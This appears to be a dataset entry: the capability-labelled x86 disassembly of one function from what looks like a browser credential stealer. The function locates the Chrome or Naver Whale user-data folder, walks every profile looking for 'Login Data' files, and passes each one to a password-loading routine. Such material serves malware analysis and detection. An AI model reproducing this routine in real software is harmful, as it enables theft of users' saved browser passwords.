Function at 0x415054
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xeba4
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, 0x270f
mov byte [ebp - 0x2714], 0
push ebx
lea eax, [ebp - 0x2713]
push 0
push eax
call fcn.00626f50
push ebx
lea eax, [ebp - 0x4e23]
mov byte [ebp - 0x4e24], 0
push 0
push eax
call fcn.00626f50
mov esi, str.Login_Data
lea edi, [ebp - 0xc354]
push 0x2705
lea eax, [ebp - 0xc349]
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00626f50
push ebx
xor ebx, ebx
mov byte [ebp - 0x7534], 0
lea eax, [ebp - 0x7533]
push ebx
push eax
call fcn.00626f50
push dword [ebp + 8]
mov esi, str.LoadPasswordFromChromeAllProfiles
push esi
push str._s_entered_for_browser__d
call fcn.00449974
add esp, 0x3c
lea eax, [ebp - 0xea64]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x415117
push str._n_Failed_to_get_current_users_local_appdata_folder
call fcn.00449974
pop ecx
xor eax, eax
jmp 0x415284
cmp dword [ebp + 8], 0x3f
mov ecx, str.NaverNaver_WhaleUser_Data
mov eax, str.GoogleChromeUser_Data
mov edi, 0x2710
cmove eax, ecx
push eax
lea eax, [ebp - 0x7534]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0xea64]
push eax
lea eax, [ebp - 0x2714]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0x7534]
push eax
lea eax, [ebp - 0x2714]
push edi
push eax
call fcn.00631246
lea eax, [ebp - 0x2714]
push eax
push esi
push str._s_Final_Chrome_browser_Root_path_is__s
call fcn.00449974
lea eax, [ebp - 0x2714]
push eax
call fcn.0044975e
add esp, 0x34
test eax, eax
lea eax, [ebp - 0x2714]
push eax
jne 0x41519f
push str._n_Chrome_Root_folder___s_does_not_exist
call fcn.00449974
pop ecx
jmp 0x41510f
lea eax, [ebp - 0x9c44]
push edi
push eax
call fcn.006311ec
push 0x66d678
lea eax, [ebp - 0x9c44]
push edi
push eax
call fcn.00631246
lea eax, [ebp - 0x9c44]
push eax
push str._n_Searching_for_Chrome_profile_files_in_the_folder__s
call fcn.00449974
add esp, 0x20
lea eax, [ebp - 0xeba4]
push eax
lea eax, [ebp - 0x9c44]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x415110
test byte [ebp - 0xeba4], 0x10
je 0x415264
cmp byte [ebp - 0xeb78], 0x2e
je 0x415264
lea eax, [ebp - 0xc354]
push eax
lea eax, [ebp - 0xeb78]
push eax
lea eax, [ebp - 0x2714]
push eax
push 0x66d710
lea eax, [ebp - 0x4e24]
push edi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x4e24]
push eax
push str.LoadPasswordFromChromeAllProfiles
push str._s___Checking_for_this_login_data_file__s
call fcn.00449974
lea eax, [ebp - 0x4e24]
push eax
call fcn.00449791
add esp, 0x28
test eax, eax
je 0x415264
lea eax, [ebp - 0x4e24]
push eax
push dword [ebp + 8]
call fcn.00415293
pop ecx
pop ecx
lea eax, [ebp - 0xeba4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4151f1
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret